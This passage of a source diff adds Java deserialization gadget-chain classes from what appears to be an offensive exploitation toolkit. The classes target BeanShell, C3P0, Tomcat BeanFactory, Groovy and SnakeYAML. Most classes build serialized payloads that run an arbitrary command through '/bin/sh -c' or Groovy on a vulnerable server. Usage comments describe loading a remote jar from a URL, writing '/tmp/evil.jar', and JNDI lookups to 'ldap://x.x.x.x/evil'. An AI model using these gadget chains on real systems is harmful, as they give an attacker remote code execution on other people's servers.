|
||||||
|
Object[] array = (Object[]) f2.get(innimpl);
|
||||||
|
|
||||||
|
Object node = array[0];
|
||||||
|
if (node == null) {
|
||||||
|
node = array[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
Field keyField = null;
|
||||||
|
try {
|
||||||
|
keyField = node.getClass().getDeclaredField("key");
|
||||||
|
} catch (Exception e) {
|
||||||
|
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(keyField);
|
||||||
|
keyField.set(node, entry);
|
||||||
|
|
||||||
|
return map;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import bsh.Interpreter;
|
||||||
|
import bsh.XThis;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||||
|
|
||||||
|
import java.lang.reflect.InvocationHandler;
|
||||||
|
import java.lang.reflect.Proxy;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"org.beanshell:bsh:2.0b5"})
|
||||||
|
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||||
|
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
||||||
|
|
||||||
|
public PriorityQueue getObject(String command) throws Exception {
|
||||||
|
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||||
|
Interpreter i = new Interpreter();
|
||||||
|
i.eval(payload);
|
||||||
|
XThis xt = new XThis(i.getNameSpace(), i);
|
||||||
|
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
|
||||||
|
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||||
|
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
|
||||||
|
Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)};
|
||||||
|
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||||
|
Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2));
|
||||||
|
return priorityQueue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import bsh.Interpreter;
|
||||||
|
import bsh.NameSpace;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||||
|
|
||||||
|
import java.lang.reflect.*;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"org.beanshell:bsh:2.0b1"})
|
||||||
|
@Authors({Authors.KILLER})
|
||||||
|
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
||||||
|
|
||||||
|
public PriorityQueue getObject(String command) throws Exception {
|
||||||
|
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||||
|
Interpreter i = new Interpreter();
|
||||||
|
|
||||||
|
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
||||||
|
setu.setAccessible(true);
|
||||||
|
setu.invoke(i, "bsh.cwd", ".");
|
||||||
|
i.eval(payload);
|
||||||
|
|
||||||
|
Class<?> xthis = Class.forName("bsh.XThis");
|
||||||
|
Field handlerField = xthis.getDeclaredField("invocationHandler");
|
||||||
|
handlerField.setAccessible(true);
|
||||||
|
Constructor<?> xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
|
||||||
|
xthisDeclaredConstructor.setAccessible(true);
|
||||||
|
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
|
||||||
|
handlerField.setAccessible(true);
|
||||||
|
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
|
||||||
|
|
||||||
|
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||||
|
PriorityQueue<Object> queue = new PriorityQueue(2);
|
||||||
|
queue.add("1");
|
||||||
|
queue.add("2");
|
||||||
|
|
||||||
|
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(queue, comparator);
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import java.net.URI;
|
||||||
|
|
||||||
|
public class BindingEnumeration implements ObjectPayload<Object>{
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
UtilFactory uf = new UtilFactory();
|
||||||
|
URI uri = new URI(command);
|
||||||
|
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||||
|
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ])));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||||
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
|
||||||
|
import javax.naming.NamingException;
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.Referenceable;
|
||||||
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
|
import javax.sql.PooledConnection;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.SQLFeatureNotSupportedException;
|
||||||
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* com.sun.jndi.rmi.registry.RegistryContext->lookup
|
||||||
|
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
|
||||||
|
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
|
||||||
|
* <p>
|
||||||
|
* Arguments:
|
||||||
|
* - base_url:classname
|
||||||
|
* <p>
|
||||||
|
* Yields:
|
||||||
|
* - Instantiation of remotely loaded class
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
|
||||||
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
|
||||||
|
@Authors({Authors.MBECHLER})
|
||||||
|
public class C3P0 implements ObjectPayload<Object> {
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
int sep = command.lastIndexOf(':');
|
||||||
|
if (sep < 0) {
|
||||||
|
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||||
|
}
|
||||||
|
|
||||||
|
String url = command.substring(0, sep);
|
||||||
|
String className = command.substring(sep + 1);
|
||||||
|
|
||||||
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||||
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
private final String url;
|
||||||
|
|
||||||
|
public PoolSource(String className, String url) {
|
||||||
|
this.className = className;
|
||||||
|
this.url = url;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Reference getReference() throws NamingException {
|
||||||
|
return new Reference("exploit", this.className, this.url);
|
||||||
|
}
|
||||||
|
|
||||||
|
public PrintWriter getLogWriter() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getLoginTimeout() throws SQLException {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLoginTimeout(int seconds) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||||
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
|
||||||
|
import javax.naming.NamingException;
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.Referenceable;
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
|
import javax.sql.PooledConnection;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.SQLFeatureNotSupportedException;
|
||||||
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
|
||||||
|
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||||
|
*/
|
||||||
|
|
||||||
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
|
||||||
|
@Authors({Authors.QI4L})
|
||||||
|
public class C3P02 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||||
|
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
|
||||||
|
} else {
|
||||||
|
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
|
||||||
|
}
|
||||||
|
|
||||||
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||||
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
|
private final String cmd;
|
||||||
|
|
||||||
|
public PoolSource(String cmd) {
|
||||||
|
this.cmd = cmd;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Reference getReference() throws NamingException {
|
||||||
|
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
|
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
|
||||||
|
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
|
||||||
|
return ref;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PrintWriter getLogWriter() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getLoginTimeout() throws SQLException {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLoginTimeout(int seconds) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||||
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
|
||||||
|
import javax.naming.NamingException;
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.Referenceable;
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
|
import javax.sql.PooledConnection;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.SQLFeatureNotSupportedException;
|
||||||
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 同 C3P0 2 只不过使用了 Groovy
|
||||||
|
*/
|
||||||
|
|
||||||
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
|
||||||
|
@Authors({Authors.QI4L})
|
||||||
|
public class C3P03 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||||
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
|
private final String cmd;
|
||||||
|
|
||||||
|
public PoolSource(String cmd) {
|
||||||
|
this.cmd = cmd;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Reference getReference() throws NamingException {
|
||||||
|
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
|
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
|
||||||
|
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
|
||||||
|
return ref;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PrintWriter getLogWriter() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getLoginTimeout() throws SQLException {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLoginTimeout(int seconds) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,157 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||||
|
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.HexUtils;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.SnakeYamlUtils;
|
||||||
|
import org.apache.naming.ResourceRef;
|
||||||
|
|
||||||
|
import javax.naming.NamingException;
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.Referenceable;
|
||||||
|
import javax.naming.StringRefAddr;
|
||||||
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
|
import javax.sql.PooledConnection;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.SQLFeatureNotSupportedException;
|
||||||
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 同上 只不过使用了 snakeyaml
|
||||||
|
* 加了一些常见的 Gadget,有点套娃的感觉了
|
||||||
|
* <p>
|
||||||
|
* 用法:
|
||||||
|
* 远程加载 Jar 包
|
||||||
|
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
|
||||||
|
* <p>
|
||||||
|
* 向服务器写入 Jar 包并加载(不出网)
|
||||||
|
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
|
||||||
|
* C3P04 'localJar-./yaml.jar'
|
||||||
|
* <p>
|
||||||
|
* C3P0 二次反序列化
|
||||||
|
* C3P04 'c3p0Double-/usr/CC6.ser'
|
||||||
|
* <p>
|
||||||
|
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
|
||||||
|
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
|
||||||
|
* C3P04 'jndi-ldap://x.x.x.x/evil'
|
||||||
|
*/
|
||||||
|
|
||||||
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
|
||||||
|
@Authors({Authors.QI4L})
|
||||||
|
public class C3P04 implements ObjectPayload<Object> {
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
int sep = command.lastIndexOf('-');
|
||||||
|
if (sep < 0) {
|
||||||
|
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
|
||||||
|
}
|
||||||
|
|
||||||
|
String[] parts = command.split("-");
|
||||||
|
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||||
|
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
|
private final String cmd;
|
||||||
|
|
||||||
|
private final String type;
|
||||||
|
|
||||||
|
public PoolSource(String type, String cmd) {
|
||||||
|
this.type = type;
|
||||||
|
this.cmd = cmd;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Reference getReference() throws NamingException {
|
||||||
|
|
||||||
|
String yaml = "";
|
||||||
|
|
||||||
|
switch (type) {
|
||||||
|
case "remoteJar":
|
||||||
|
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||||
|
" !!java.net.URLClassLoader [[\n" +
|
||||||
|
" !!java.net.URL [\"" + cmd + "\"]\n" +
|
||||||
|
" ]]\n" +
|
||||||
|
"]";
|
||||||
|
break;
|
||||||
|
case "localJar":
|
||||||
|
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||||
|
" !!java.net.URLClassLoader [[\n" +
|
||||||
|
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
|
||||||
|
" ]]\n" +
|
||||||
|
"]";
|
||||||
|
break;
|
||||||
|
case "writeJar":
|
||||||
|
String[] parts = cmd.split(":");
|
||||||
|
try {
|
||||||
|
yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case "c3p0Double":
|
||||||
|
try {
|
||||||
|
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
||||||
|
String hexString = HexUtils.bytesToHexString(data, data.length);
|
||||||
|
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
||||||
|
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case "c3p0Jndi":
|
||||||
|
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
|
||||||
|
"jndiName: " + cmd + "\n" +
|
||||||
|
"loginTimeout: 0";
|
||||||
|
break;
|
||||||
|
case "jndi":
|
||||||
|
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
|
||||||
|
"dataSourceName: " + cmd + "\n" +
|
||||||
|
"autoCommit: true";
|
||||||
|
break;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||||
|
true, "org.apache.naming.factory.BeanFactory", null);
|
||||||
|
ref.add(new StringRefAddr("forceString", "QI4L=load"));
|
||||||
|
ref.add(new StringRefAddr("QI4L", yaml));
|
||||||
|
return ref;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PrintWriter getLogWriter() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getLoginTimeout() throws SQLException {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLoginTimeout(int seconds) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
|
||||||
|
import javax.naming.NamingException;
|
||||||
|
import javax.naming.Reference;
|
||||||
|
import javax.naming.Referenceable;
|
||||||
|
import javax.sql.ConnectionPoolDataSource;
|
||||||
|
import javax.sql.PooledConnection;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
import java.sql.SQLFeatureNotSupportedException;
|
||||||
|
import java.util.logging.Logger;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||||
|
*/
|
||||||
|
|
||||||
|
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
|
||||||
|
@Authors({Authors.MBECHLER})
|
||||||
|
public class C3P092 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
int sep = command.lastIndexOf(':');
|
||||||
|
if (sep < 0) {
|
||||||
|
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||||
|
}
|
||||||
|
|
||||||
|
String url = command.substring(0, sep);
|
||||||
|
String className = command.substring(sep + 1);
|
||||||
|
|
||||||
|
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
|
||||||
|
|
||||||
|
ClassPool pool = new ClassPool();
|
||||||
|
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
|
||||||
|
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
|
||||||
|
|
||||||
|
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
|
||||||
|
|
||||||
|
// mock method name until armed
|
||||||
|
final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
|
||||||
|
|
||||||
|
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
|
||||||
|
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||||
|
return b;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||||
|
|
||||||
|
private String className;
|
||||||
|
|
||||||
|
private String url;
|
||||||
|
|
||||||
|
public PoolSource(String className, String url) {
|
||||||
|
this.className = className;
|
||||||
|
this.url = url;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Reference getReference() throws NamingException {
|
||||||
|
return new Reference("exploit", this.className, this.url);
|
||||||
|
}
|
||||||
|
|
||||||
|
public PrintWriter getLogWriter() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public int getLoginTimeout() throws SQLException {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setLoginTimeout(int seconds) throws SQLException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection() throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.alibaba.fastjson.JSONArray;
|
||||||
|
import com.mchange.v2.c3p0.ComboPooledDataSource;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
|
||||||
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
|
||||||
|
@Authors({Authors.Unam4})
|
||||||
|
public class C3P0JDBC implements ObjectPayload<Object> {
|
||||||
|
//private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
|
||||||
|
// "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
|
||||||
|
// "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" +
|
||||||
|
// "$$\n";
|
||||||
|
@Override
|
||||||
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
if (!command.toLowerCase().startsWith("jdbc:")) {
|
||||||
|
throw new Exception("Command format is: eviljdbcurl");
|
||||||
|
}
|
||||||
|
|
||||||
|
ComboPooledDataSource o = new ComboPooledDataSource();
|
||||||
|
o.setJdbcUrl(command);
|
||||||
|
o.setMaxIdleTime(1);
|
||||||
|
o.setMaxPoolSize(1);
|
||||||
|
|
||||||
|
JSONArray jsonArray = new JSONArray();
|
||||||
|
jsonArray.add(o);
|
||||||
|
|
||||||
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
|
Field valfield = val.getClass().getDeclaredField("val");
|
||||||
|
valfield.setAccessible(true);
|
